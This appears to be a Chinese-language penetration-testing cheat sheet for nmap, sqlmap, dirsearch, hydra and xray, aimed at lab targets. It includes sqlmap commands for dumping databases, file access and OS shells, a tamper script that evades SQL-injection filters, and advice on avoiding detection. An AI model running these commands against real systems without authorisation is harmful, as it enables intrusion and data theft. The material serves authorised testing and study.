Nmap
- 检测网络存活主机(主机发现)
- 检测主机开放端口(端口发现或枚举)
- 检测相应端口软件(服务发现)版本
- 检测操作系统,硬件地址,以及软件版本
- 检测脆弱性的漏洞(nmap 的脚本)
1 2 3 4 5 6
| Open 端口开启,数据有到达主机,有程序在端口上监控 Closed 端口关闭,数据有到达主机,没有程序在端口上监控 Filtered 数据没有到达主机,返回的结果为空,数据被防火墙或IDS过滤 UnFiltered 数据有到达主句,但是不能识别端口当前的状态 Open|Filtered 端口没有返回值,主要发生在UDP、IP、FIN、NULL和Xmas扫描中 Closed|Filtered 只发生在IP ID idle扫描
|
这里以 192.168.1.1 为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| nmap -A -T4 192.168.1.1
A: 全扫描/综合扫描 T4: 扫描速度,共有6级,T0-T5
不加端口说明扫描默认端口,1-1024 + nmap-service
单一主机扫描: nmap 192.168.1.2 子网扫描: nmap 192.168.1.1/24 多主机扫描: namp 192.168.1.1 192.168.1.10 主机范围扫描: nmap 192.168.1.1-100 IP地址列表扫描: nmap -il target.txt
扫描除指定IP外的所有子网主机: nmap 192.168.1.1/24 --exclude 192.168.1.1
扫描除文件中IP外的子网主机: nmap 192.168.1.1/24 --excludefile xxx.txt
扫描特定主机上的80,21,23端口: nmap -p 80,21,23 192.168.1.1
|
1 2 3 4 5 6 7 8 9
| nmap -sS -v -T4 -Pn -p 0-65535 -oN FullTCP -il liveHosts.txt
- -sS:SYN扫描,又称半开放扫描,它不打开一个完全的TCP连接,执行快,效率高(一个完整的tcp连接需要3次握手,-sS不需要3次握手)
优点:Nmap发送SYN包到远程主机,但是不会产生任何会话,目标主机几乎不会把连接记入系统日志(防止对方判断为扫描攻击) 缺点:需要root/administrator权限执行
- -Pn:扫描前不需要用ping命令,有些防火墙禁止ping命令。 - -iL:导入需要扫描的列表
|
1 2 3 4 5 6 7
| nmap -sS -T4 -Pn -oG TopTCP -iL Livehosts.txt
系统扫描 nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
版本检测 nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
|
nmap -p445 -v --script smb-ghost 192.168.1.0/24
常用操作
1
| nmap -v -Pn -p [port] -sV [IP]
|
常用参数说明
1 2 3 4
| -v 显示详细扫描过程,扫描进度及统计信息 -Pn 跳过主机发现阶段(不ping) -p [port] 指定端口 -sV 启用服务版本探测,应用程序及版本号
|
参考学习:
https://wiki.wgpsec.org/knowledge/tools/nmap.html
https://blog.csdn.net/Kris__zhang/article/details/106841466
https://wcute.github.io/2019/03/29/Nmap%20%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%80%BB%E7%BB%93/
https://nmap.org/man/zh/ 【中文参考指南】
SQLMap

常用命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
|
sqlmap -u "http://127.0.0.1/Less-1/" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
sqlmap -r test.txt
sqlmap -u "http://127.0.0.1/Less-1/" --data="uname=admin&passwd=2333&submit=Submit"
sqlmap -u "http://127.0.0.1/Less-1/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
sqlmap -u "http://127.0.0.1/Less-1/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2
sqlmap -u "http://127.0.0.1/Less-1/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
|
数据猜解-库表列数据&字典
测试:常规数据获取
1 2 3 4
| --current-db --tables -D "" --columns -T "" -D "" --dump -C "" -T "" -D ""
|
权限操作-文件&命令&交互式
测试:高权限操作
1 2 3 4 5 6 7 8
| 引出权限: --is-dba --privileges
引出文件: --file-read --file-write --file-dest
引出命令: --os-cmd="" --os-shell --sql-shell
|
提交方法-POST&HEAD&JSON
测试:Post Cookie Json 等
1 2 3
| --data "" --cookie "" -r 1.txt
|
绕过模块-Tamper 脚本-使用&开发
测试:base64+json 注入&再加有过滤的注入
1 2
| --tamper=base64encode.py --tamper=test.py
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies(): pass
def tamper(payload, **kwargs): if payload: payload = payload.replace('SELECT','sElEct') payload = payload.replace('select','sElEct') payload = payload.replace('OR','Or') payload = payload.replace('or','Or') payload = payload.replace('AND','And') payload = payload.replace('and','And') payload = payload.replace('XOR','xOr') payload = payload.replace('xor','xOr') payload = payload.replace('SLEEP','SleeP') payload = payload.replace('sleep','SleeP') payload = payload.replace('ELT','Elt') return encodeBase64(payload, binary=False) if payload else payload
|
分析拓展-代理&调试&指纹&风险&等级
1 2
| -v=(0-6) # 详细的等级(0-6) --proxy "http://xx:xx" # 代理注入
|
绕过流量设备识别 sqlmap
1 2 3
| --user-agent "" # 自定义user-agent --random-agent # 随机user-agent --time-sec=(2,5) # 延迟响应,默认为5
|
1 2
| --level=(1-5) # 要执行的测试水平等级,默认为1 --risk=(0-3) # 测试执行的风险等级,默认为1
|
缓存默认在 C:\Users\用户名\AppData\Local\sqlmap(Windows)
https://www.cnblogs.com/bmjoker/p/9326258.html
dirsearch
1 2
| python dirsearch.py -u https://example.com -w /path/mydict.txt # -w 字典 python3 dirsearch.py -u https://example.com -t 100 --delay 0.1 # -t 并发线程数 --delay 每个请求间隔
|
hydra
https://blog.csdn.net/smli_ng/article/details/106089614
https://wcute.github.io/2019/03/24/hydra%EF%BC%88%E7%88%86%E7%A0%B4%E5%B7%A5%E5%85%B7%EF%BC%89%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/
xray
1 2 3 4 5
| # 生成证书 xray genca
# 设置代理并监听扫描 xray webscan --listen 127.0.0.1:7777 --html-output test.html
|